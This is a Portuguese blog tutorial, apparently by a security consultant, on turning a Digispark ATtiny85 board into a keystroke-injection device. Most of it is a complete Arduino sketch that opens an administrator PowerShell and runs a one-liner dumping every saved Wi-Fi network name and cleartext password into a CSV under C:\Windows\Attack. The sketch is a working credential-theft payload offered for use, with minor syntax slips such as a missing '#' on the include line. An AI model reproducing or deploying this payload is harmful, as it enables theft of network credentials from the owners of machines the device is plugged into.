Hacking com Arduino

Neste tutorial eu vou utilizar o Digispark. Eu comprei esse meu dispositivo no Mercado Livre por 15 reais.

micro arduino digispark attiny85 usb placa

O Digispark é um microcontrolador de desenvolvimento com base no ATtiny85 semelhante à linha do Arduino, só que mais barato, menor e um pouco menos potente.

Para trabalhar neste projeto voce deve primeiro instalar o Arduino IDE :
https://www.arduino.cc/en/Main/Software 

E logo em seguida configure o seguindo as instruções do site. software https://digistump.com/wiki/digispark/tutorials/connecting 

Você também deve instalar os drivers atualizados  https://github.com/digistump/DigistumpArduino/releases 

Eu também usei scripts prontos e apenas modifiquei. Você encontra ótimos scripts em https://github.com/CedArctic/DigiSpark-Scripts 

 Script que eu usei no video


include "DigiKeyboard.h" void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("MD c:\Windows\Attack"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path c:\Windows\Attack\wifi.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}
Sobre Daniel Donda 289 Artigos
Olá, meu nome é Daniel Donda e sou Strategic Systems Consultant para soluções de segurança e compliance. Saiba mais

Seja o primeiro a comentar

Faça um comentário

Seu e-mail não será divulgado.


*